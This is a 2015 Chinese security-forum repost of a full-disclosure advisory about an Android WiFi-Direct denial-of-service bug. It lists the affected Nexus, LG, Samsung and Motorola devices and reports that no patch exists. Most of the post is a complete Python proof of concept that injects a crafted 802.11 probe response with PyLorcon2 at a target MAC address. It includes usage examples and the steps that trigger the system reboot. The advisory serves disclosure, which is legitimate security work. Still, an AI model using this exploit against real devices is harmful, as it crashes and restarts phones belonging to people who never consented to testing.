搜索
查看: 500|回复: 0

[CORE-2015-0002] - 安卓Wifi直连拒绝服务漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-1-30 20:22:23 | 显示全部楼层 |阅读模式
[CORE-2015-0002] - Android WiFi-Direct Denial of Service
http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本:
   . Nexus 5 - Android 4.4.4
   . Nexus 4 - Android 4.4.4
   . LG D806 - Android 4.2.2
   . Samsung SM-T310 - Android 4.2.2
   . Motorola RAZR HD - Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小,没有时间修复”,目前该漏洞没有任何补丁

POC:
  1. #!/usr/bin/env python

  2. import sys
  3. import time
  4. import struct
  5. import PyLorcon2


  6. def get_probe_response(source, destination, channel):
  7.   frame = str()
  8.   frame += "\x50\x00"  # Frame Control
  9.   frame += "\x00\x00"  # Duration
  10.   frame += destination
  11.   frame += source
  12.   frame += source
  13.   frame += "\x00\x00"  # Sequence Control
  14.   frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp
  15.   frame += "\x64\x00"  # Beacon Interval
  16.   frame += "\x30\x04"  # Capabilities Information

  17.   # SSID IE
  18.   frame += "\x00"
  19.   frame += "\x07"
  20.   frame += "DIRECT-"

  21.   # Supported Rates
  22.   frame += "\x01"
  23.   frame += "\x08"
  24.   frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"

  25.   # DS Parameter Set
  26.   frame += "\x03"
  27.   frame += "\x01"
  28.   frame += struct.pack("B", channel)

  29.   # P2P
  30.   frame += "\xDD"
  31.   frame += "\x27"
  32.   frame += "\x50\x6F\x9A"
  33.   frame += "\x09"
  34.   # P2P Capabilities
  35.   frame += "\x02" # ID
  36.   frame += "\x02\x00" # Length
  37.   frame += "\x21\x00"
  38.   # P2P Device Info
  39.   frame += "\x0D" # ID
  40.   frame += "\x1B\x00" # Length
  41.   frame += source
  42.   frame += "\x01\x88"
  43.   frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"
  44.   frame += "\x00"
  45.   frame += "\x10\x11"
  46.   frame += "\x00\x06"
  47.   frame += "fafa\xFA\xFA"

  48.   return frame


  49. def str_to_mac(address):
  50.   return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))


  51. if __name__ == "__main__":
  52.   if len(sys.argv) != 3:
  53.     print "Usage:"
  54.     print "  poc.py <iface> <target>"
  55.     print "Example:"
  56.     print "  poc.py wlan0 00:11:22:33:44:55"
  57.     sys.exit(-1)

  58.   iface = sys.argv[1]
  59.   destination = str_to_mac(sys.argv[2])

  60.   context = PyLorcon2.Context(iface)
  61.   context.open_injmon()

  62.   channel = 1
  63.   source = str_to_mac("00:11:22:33:44:55")
  64.   frame = get_probe_response(source, destination, channel)

  65.   print "Injecting PoC."
  66.   for i in range(100):
  67.     context.send_bytes(frame)
  68.     time.sleep(0.100)
复制代码

运行poc,在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞,系统重启
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表